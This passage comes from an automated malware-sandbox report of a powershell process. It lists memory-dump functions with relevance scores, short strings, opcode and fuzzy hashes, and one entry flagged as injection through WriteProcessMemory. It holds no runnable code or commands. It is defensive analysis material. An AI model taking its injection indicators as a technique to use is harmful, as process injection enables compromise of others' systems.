Instruction Fuzzy Hash: BE41C2F2B002059FEB148F68E644BAABBF6BF85310F19C499E80D9B691DB71DC41CB51

Function 06F4DE00 Relevance: 2.7, Strings: 2, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hjq, xrefs: 06F4DF95
(jq, xrefs: 06F4DF06

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID: (jq$Hjq
API String ID: 0-2151573235
Opcode ID: dc417229816fa6b6f58109b0bfef3c4356d36cc4d63e6a984c77e0371f247572
Instruction ID: 3f4cb77aac96bfbc389102443193ae985b6eaf5c6c1fd194d4564f1012c07ca9
Opcode Fuzzy Hash: dc417229816fa6b6f58109b0bfef3c4356d36cc4d63e6a984c77e0371f247572
Instruction Fuzzy Hash: 4E51A030B002158FDBA9AF78C89466E7BB2AFC9711B14446DD9069B3A5DF31EC07CB91

Function 073D6E1B Relevance: 2.6, Strings: 2, Instructions: 59COMMON

Download Yara Rule

Strings

$fq, xrefs: 073D6E6B
$fq, xrefs: 073D6E4A

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: $fq$$fq
API String ID: 0-2537786760
Opcode ID: 0e29e5e688cca137fed3e0f2660672f746d6b8f470e1c2d2da6596e98238959b
Instruction ID: fa0cd7dbabdc7a7c171d5bed2d49e8431fe619aab7057e5947221505be67233f
Opcode Fuzzy Hash: 0e29e5e688cca137fed3e0f2660672f746d6b8f470e1c2d2da6596e98238959b
Instruction Fuzzy Hash: AA11EBF7604246CFFB118E04EA42A65BB79AF89290F19845AE56CC7192D737CC40CB51

Function 06F67A2A Relevance: 2.5, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 06F67A1B
3, xrefs: 06F67A33

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: 3$@
API String ID: 0-1582834413
Opcode ID: 630ca12b76af11044c74546c18e2bd8e6409f0561700ec4a6e2efeb5bc969076
Instruction ID: 79c76b69c227f5331aac81afaa4905c19732266dd97fd7543c033c071de9580b
Opcode Fuzzy Hash: 630ca12b76af11044c74546c18e2bd8e6409f0561700ec4a6e2efeb5bc969076
Instruction Fuzzy Hash: 1D11D374904268CFEB61CF55C894BDDB7F6BB08308F0486EAE50AA7240CB75AE85CF41

Function 06D03908 Relevance: 1.9, APIs: 1, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.2612352503.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6327c4a9e9439deed9bb4080169b46ee46ad6ff71da488f16bcf3af8193325b
Instruction ID: 01c11f10fc41dca8e1aaca842c54a15156690d184357b7ecadd1e70802dc3ae2
Opcode Fuzzy Hash: c6327c4a9e9439deed9bb4080169b46ee46ad6ff71da488f16bcf3af8193325b
Instruction Fuzzy Hash: 60021574A01209DFDB54CF98D984A9EFBB2FF88314F258559E819AB391C731ED81CB90

Function 06F63EE8 Relevance: 1.6, Strings: 1, Instructions: 330
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\bq , xrefs: 06F6421E, 06F643A5

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: \bq
API String ID: 0-3867547703
Opcode ID: 027a841c8463914a50f1646d91b9465d9ac7bbf9c13de1d859e8eee9b93e5f87
Instruction ID: 1314f5ce6db0defdcb6606395dd1d967adc03edc714fcc66b9db160b875de9e4
Opcode Fuzzy Hash: 027a841c8463914a50f1646d91b9465d9ac7bbf9c13de1d859e8eee9b93e5f87
Instruction Fuzzy Hash: A5E12670E01218CFEB94DFA9D885B9EBBB6FB49700F5090AAE819A7355DB305D81CF50

Function 06F63ED9 Relevance: 1.6, Strings: 1, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\bq , xrefs: 06F6421E, 06F643A5

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: \bq
API String ID: 0-3867547703
Opcode ID: 1708c15cfcef5a5d32b0bdcdbe72c112072fa191718389d44d7d0edea4c011fc
Instruction ID: 87e88912dccb299ca95cd52f98d9883c2b85597158923ee3eae652add0485d26
Opcode Fuzzy Hash: 1708c15cfcef5a5d32b0bdcdbe72c112072fa191718389d44d7d0edea4c011fc
Instruction Fuzzy Hash: B3E11670E01218CFEB94DFA9D885B9EBBB2FB49700F5090A9E819A7355DB305D81CF51

Function 06D03D78 Relevance: 1.6, APIs: 1, Instructions: 61
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000001), ref: 06D03E05

Memory Dump Source

Source File: 00000002.00000002.2612352503.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d00000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 70af87b0ed4e194e15145806b0fb9a6775a50f7e8bbb73542c45203ba75eb741
Instruction ID: f339141e5be4a1919619ee4b49ba1dc7e75369144e91494e86b016a4dc00b61c
Opcode Fuzzy Hash: 70af87b0ed4e194e15145806b0fb9a6775a50f7e8bbb73542c45203ba75eb741
Instruction Fuzzy Hash: BB21EDB590034ADFDB10CF9AD885BDEBBF4FB48320F10852AE919A7350D374A940CBA1

Function 06D02E30 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE ref: 06D02E97

Memory Dump Source

Source File: 00000002.00000002.2612352503.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d00000_powershell.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 7677e707feb697f43da97b1f4c4d5cde38a5d0251f88822eb72294a17c6c4b03
Instruction ID: 0c91cd552c8dcee6b6a48421d53ba970f6d0767032001889a35bce8c6f8ae67c
Opcode Fuzzy Hash: 7677e707feb697f43da97b1f4c4d5cde38a5d0251f88822eb72294a17c6c4b03
Instruction Fuzzy Hash: 2011E0B1C006599BDB10CF9AD944BDEFBF8FB48324F24815AD418A3340D7B46A44CFA5

Function 06F4B414 Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

+(, xrefs: 06F4B62B, 06F4B630

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID: +(
API String ID: 0-2817835279
Opcode ID: 4085f8ab1ab576d16cf0a0d0b035840765ae5ed1cec31c0a8f94e0ce82a03938
Instruction ID: 9209a2f0529593a53f530d6c16ae2f4b7e47ddc08cfbd9d8e2cc58370d7f46cd
Opcode Fuzzy Hash: 4085f8ab1ab576d16cf0a0d0b035840765ae5ed1cec31c0a8f94e0ce82a03938
Instruction Fuzzy Hash: E4718C34E41204DFCF44EFA8D894AADBFB2EF88311F148469E411AB796CE71D946CB90

Function 06F4AC50 Relevance: 1.4, Strings: 1, Instructions: 163COMMON

Download Yara Rule

Strings

(jq, xrefs: 06F4ACC4

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID: (jq
API String ID: 0-3225323518
Opcode ID: 3b8a6847af0bc9607b7ebf33764f0804434e77e04965b6d53be13efd61668939
Instruction ID: f95779b531020ad379e8551e722783a9a661bb7b768f6cd8eeee473807082f79
Opcode Fuzzy Hash: 3b8a6847af0bc9607b7ebf33764f0804434e77e04965b6d53be13efd61668939
Instruction Fuzzy Hash: DF51F431F005168FCB01DF68C8849AAFBB6FF89321B1586A9D9159B795D730F852CBC0

Function 06D19C00 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

$|W, xrefs: 06D19CCC

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID: $|W
API String ID: 0-4121368492
Opcode ID: aa585507e884308c5c3dfc741a1fb47309c37ca39cf34c34c3667de43acb245d
Instruction ID: e5df680f71b912deb163660e9715ff37bb77f03f75da1fcdec4d67654df2b856
Opcode Fuzzy Hash: aa585507e884308c5c3dfc741a1fb47309c37ca39cf34c34c3667de43acb245d
Instruction Fuzzy Hash: 7251C374E01208DFDB58DFB9D5A4A9DBBF2BF89300F20802AD416AB365DB749941CF50

Function 06D19BF2 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

$|W, xrefs: 06D19CCC

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID: $|W
API String ID: 0-4121368492
Opcode ID: 1179a41aaa81610dd41c57e082002b1ec86164637e1e4bcc727812715d3c1a53
Instruction ID: 654d8c230806cd01a9d58c16c93562936fd1fa386733a03a3f03bd11f56f3527
Opcode Fuzzy Hash: 1179a41aaa81610dd41c57e082002b1ec86164637e1e4bcc727812715d3c1a53
Instruction Fuzzy Hash: 2241C3B4E01208DFDB58CFB9D5A4ADDBBF2BF88300F20802AD419AB265DB749941CF50

Function 073D0468 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073D058D

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: 59536da51f7f35ffac9936a378dae4079c398a78c62908930a150a75a9c0e743
Instruction ID: 8b9d4acfe0e54f4dc82ee21cd736cccfb39943cf4ae7ab9b75cde1af55867d2a
Opcode Fuzzy Hash: 59536da51f7f35ffac9936a378dae4079c398a78c62908930a150a75a9c0e743
Instruction Fuzzy Hash: D93128F2A08202DFEF295E35A51477E7BA7AF81A40F544066D80CC7592EB39DC81CB62

Function 08166C48 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

(ofq, xrefs: 08166D29

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: (ofq
API String ID: 0-334256475
Opcode ID: 244cf7a5629adf6f56dbe30f8c14df388af3022f674c3078bb66c66bb8b81a32
Instruction ID: 9890bf8487addce350f6d56106186b80fcd99a2f1a6ed4cc92b08ec4035a603c
Opcode Fuzzy Hash: 244cf7a5629adf6f56dbe30f8c14df388af3022f674c3078bb66c66bb8b81a32
Instruction Fuzzy Hash: 9821A670A04205EFDB64DF19C844BAA77B2FF60322F05806EE4958B194D771E8B1CB61

Function 06F6B37C Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

!, xrefs: 06F6B3DA

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: da3825284c0039637b3498663ef39bb99fe65bf39b0cd11752aa7a565cf4658d
Instruction ID: 10b012b5caf66812c9633d0a664bf446d702ab6e0ec75fbbf752530f69bd26e8
Opcode Fuzzy Hash: da3825284c0039637b3498663ef39bb99fe65bf39b0cd11752aa7a565cf4658d
Instruction Fuzzy Hash: FF31F774E05219CFEB95CF95D884BEEB7F6AB49304F9080AAE809E7341CB345E858F41

Function 06F4E6F8 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<fq, xrefs: 06F4E73A

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID: p<fq
API String ID: 0-1940909823
Opcode ID: aa7208bb6354b585ebad55fe3f074f9a442da9498b0a087283d220b9de7f0c09
Instruction ID: 5abc30700561cf9159cb75765ed530bfb6dba554b60fac8eff08c3b022266f35
Opcode Fuzzy Hash: aa7208bb6354b585ebad55fe3f074f9a442da9498b0a087283d220b9de7f0c09
Instruction Fuzzy Hash: 4B215B35B041449FCB51DF2AC880AAA7FF6FF89210B1840A5FC55CB3A2CA31DC52DB20

Function 06F4E700 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<fq, xrefs: 06F4E73A

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID: p<fq
API String ID: 0-1940909823
Opcode ID: d072af4e6e147706e83c9198ae809c2c605cc3b70b987b1d7b3c315a5f175eb9
Instruction ID: 1adcfcf003713da50bee4dab56a4993c1d5b9744d7bf31cec490c4a279965ffd
Opcode Fuzzy Hash: d072af4e6e147706e83c9198ae809c2c605cc3b70b987b1d7b3c315a5f175eb9
Instruction Fuzzy Hash: 1C213A75B042549FCB51DF2AC880EAA7FF9BF89210B094095FC54CB3A2DA35DC51DB60

Function 06F64689 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

@Vq , xrefs: 06F64736, 06F6473B

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: @Vq
API String ID: 0-3744185692
Opcode ID: ff7fe773cf9b8ef7d2b654cd0e0ffe323cc10d383d53063ac28751bfa564e168
Instruction ID: 0af0612a2ccbc1bf73c58c408b954816fd3ba43991a93e6b97aee89b13968013
Opcode Fuzzy Hash: ff7fe773cf9b8ef7d2b654cd0e0ffe323cc10d383d53063ac28751bfa564e168
Instruction Fuzzy Hash: 69218970D042098FEB40EFAAC8406EEBBF6BB8A300F50846AE415A7290CB7959058F91

Function 06F64698 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

@Vq , xrefs: 06F64736, 06F6473B

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: @Vq
API String ID: 0-3744185692
Opcode ID: 772cfc80fa7cc6a88cde5f562f449f9d7ff1e4736e7272a691cbe8740bb7420d
Instruction ID: d7550137c631bac29803188cae8044eece4b24d33a3064b25a65cd856bcf7c18
Opcode Fuzzy Hash: 772cfc80fa7cc6a88cde5f562f449f9d7ff1e4736e7272a691cbe8740bb7420d
Instruction Fuzzy Hash: 43218970D04209CFEB40EFAAD8806EEBBF6FB8A301F508429E415A7390CB7959448F91

Function 081667EC Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

4'fq, xrefs: 081668A9

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: d04f6dbc60fe42fedfa1104b905ab80f2865667ca8bfd5874da7050c8cd43d6f
Instruction ID: 090429c60a24cfc62fc9e5ef4c59df51fd7c3a520ca9c8ca9072035beb3c064b
Opcode Fuzzy Hash: d04f6dbc60fe42fedfa1104b905ab80f2865667ca8bfd5874da7050c8cd43d6f
Instruction Fuzzy Hash: 19219370A00204CFDB54DF69C55067ABBF5EF94266F14806ED884CB261E731C9B1C7A1

Function 06F66ED4 Relevance: 1.3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

4, xrefs: 06F66F28

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: fc5b8368b2d8b0c05bef9b8d09470156813a344999b7010265ecdb54ebe9bb0b
Instruction ID: b9a98ab3fbdde2cac6d8d56249199e286c97fc9ed52d76889b9abab820eab4de
Opcode Fuzzy Hash: fc5b8368b2d8b0c05bef9b8d09470156813a344999b7010265ecdb54ebe9bb0b
Instruction Fuzzy Hash: 79011674900268CFEB60CF14C888BDABBB1FB09304F4481E9E40AA7290CB75AE81DF41

Function 06F679A9 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

@, xrefs: 06F67A1B

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 7317f3d95e8aa94ff58b85cf9a88da19e7f9424783d46d7fee5767406b028584
Instruction ID: e09f1179640655dea08431646b3b1b7f174670c7ecb1b570c2fbd7fe5c92a654
Opcode Fuzzy Hash: 7317f3d95e8aa94ff58b85cf9a88da19e7f9424783d46d7fee5767406b028584
Instruction Fuzzy Hash: 96F0C4749011188FDB14DF64C990ADDBBB6BF48300F4081AAC50AA7341CB31AE86CF40

Function 06F46F80 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

Tefq, xrefs: 06F46FC0

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: f447caebcc7967a321fc81cec6ce0c36c1803b1245d855328e5d68cfb1277a94
Instruction ID: 7cd5c574a63b2fef39e76ca7135dc8bdcabd2e66b90c74ba620b23cd061b790d
Opcode Fuzzy Hash: f447caebcc7967a321fc81cec6ce0c36c1803b1245d855328e5d68cfb1277a94
Instruction Fuzzy Hash: 23F01778D5525ACFDB61CFA4DC94BEABBB1FB09300F1040E68819A7741EA305E89DF40

Function 06F672E5 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

/, xrefs: 06F67337

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 1463a11c09814f1f592c63ee8f10343e7e122d63c3a42e1a502438f81a89852b
Instruction ID: e2de2ada49694f1fe0c6008c8660f0ca9139e640c763bfa938754b398d714189
Opcode Fuzzy Hash: 1463a11c09814f1f592c63ee8f10343e7e122d63c3a42e1a502438f81a89852b
Instruction Fuzzy Hash: DBF0F838904219CFDB50DF60C888BADBBB2FB44308F5480A99419A7391CB359E86DF40

Function 06F46F91 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

Tefq, xrefs: 06F46FC0

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: 1e3a14d02c782c7dd384ce3871e12dfc240003a9d727ea0bb776a2222dbcdab8
Instruction ID: d7b998e31351285c455772870e66e498cf3b15118ddf73bc97db5b82750964db
Opcode Fuzzy Hash: 1e3a14d02c782c7dd384ce3871e12dfc240003a9d727ea0bb776a2222dbcdab8
Instruction Fuzzy Hash: BBF0F874D4021ACFEB64DF68DC80BEEBBB2AB49310F1040A98819A7780EB305D85DF50

Function 073DC0EB Relevance: .8, Instructions: 772COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3331e1fbf5a3378fa5da28b20db1440a08ea56b181179b0d056e72a59836a688
Instruction ID: f92e18176d1f89b226f32079cf9199261fd9b54616ba28411014b41b54ea3cf3
Opcode Fuzzy Hash: 3331e1fbf5a3378fa5da28b20db1440a08ea56b181179b0d056e72a59836a688
Instruction Fuzzy Hash: C6724BB5B102149FEB54CB58C850B69B7A2FF89308F14C099D90DAB751CB72ED82CF91

Function 08160048 Relevance: .6, Instructions: 605COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f22cd5362815a62e6293dddbc47494de4053834608f336d3cce50cf04375f1
Instruction ID: ac12d6d066615424230afd078fb7ea89353593102b1e000f85dedcafb6d7ae53
Opcode Fuzzy Hash: 90f22cd5362815a62e6293dddbc47494de4053834608f336d3cce50cf04375f1
Instruction Fuzzy Hash: C312F831700605DFCB14DF69C4406AABBF6EFC9322F14806ED585AB291DB72D8A6C7A1

Function 0455D828 Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2537144071.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c44fbf10fac02f44cf62b61efc57d835ec077a83ab6df077d1f851e0491f6e1
Instruction ID: 6c62b62e8bbb32776b90b42700073ebcc52496d4b35e4a152665f7e2df78b04b
Opcode Fuzzy Hash: 3c44fbf10fac02f44cf62b61efc57d835ec077a83ab6df077d1f851e0491f6e1
Instruction Fuzzy Hash: 66E10A75A052199FCB04CF98D494AAEFBB2FF48310F14C15AE804AB361D731ED85DB90

Function 0455E108 Relevance: .3, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2537144071.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b48db09cb78415af1435e0f31c3f8e8e30661b5a73d5eed144de8a380968360d
Instruction ID: 9bb58fbf3a1fac5fa89ff345a0e53c704f9753b35bd020f3adf374d5c37f1c52
Opcode Fuzzy Hash: b48db09cb78415af1435e0f31c3f8e8e30661b5a73d5eed144de8a380968360d
Instruction Fuzzy Hash: A5D14B74A01218DFCB04DFA8D595AADBBB2FF48314F248556E815AB361CB30FD46DB90

Function 04552AB0 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2537144071.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c1fcab2119e05f970c6fd091c6f2020a071818a0a4cbd5fd57d8b529ff7232c
Instruction ID: 0a009299cbe48e4af6fba1859baf613b0235fdbab287dff35fd7186dd81534e2
Opcode Fuzzy Hash: 3c1fcab2119e05f970c6fd091c6f2020a071818a0a4cbd5fd57d8b529ff7232c
Instruction Fuzzy Hash: AFC16B74A006099FCB05CF99C4949BEBBB1FF48310B25869AE955AB3A5C735FC41CFA0

Function 073D8AE8 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc02e38fce662624a9c90ca93b914a4d2d9893e6064c33a15a7cd7ac5d65f14d
Instruction ID: a21a0d863452acb6ba41f93a914439ea745bbde0fc761a12e0558577fe391f28
Opcode Fuzzy Hash: fc02e38fce662624a9c90ca93b914a4d2d9893e6064c33a15a7cd7ac5d65f14d
Instruction Fuzzy Hash: A45108F2700305DBDB245E69A4506ABFBAAEFC5314F24847AD449D7681DB31EC81C791

Function 08160000 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d54f2e8423266e112357a3a8e1eb66d99c86a0b6331a566fc159d7a172a81f5
Instruction ID: f147908c19a89595bc1d466d125418a56b9e54247b0d4a878f40130c619312a3
Opcode Fuzzy Hash: 9d54f2e8423266e112357a3a8e1eb66d99c86a0b6331a566fc159d7a172a81f5
Instruction Fuzzy Hash: D451C530604640DFDB16CF24C5549697BB2AF86325F1980AED884AF2A2C731ECA6CB61

Function 0455D78A Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2537144071.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5645c70bfc9b0276942f224dd99918c05e38a4fb89644db84829c23e8448ba51
Instruction ID: 5a40799b9038f53d1c9cd4b892037be50268248a729c89b6aadfc85aa7d7d858
Opcode Fuzzy Hash: 5645c70bfc9b0276942f224dd99918c05e38a4fb89644db84829c23e8448ba51
Instruction Fuzzy Hash: F851C4B59097819FC702DF68D8A49D9BFB0FF4A314B098197D484DB2A3CB34AD46C7A1

Function 06F68037 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 585d3ceb8b8499c570f2c70c7bd79460c50f46b6881c1aa53de34b78170a4296
Instruction ID: 9c2f7305555a18a1820fdaaf9d3a1c602062788f118d9319f373b4f8f65300d7
Opcode Fuzzy Hash: 585d3ceb8b8499c570f2c70c7bd79460c50f46b6881c1aa53de34b78170a4296
Instruction Fuzzy Hash: 3F41E736C0768A7ADB714A768D01B9ABFD89F022A4F246F5DFDF0661D2D7204581C6F0

Function 08166575 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
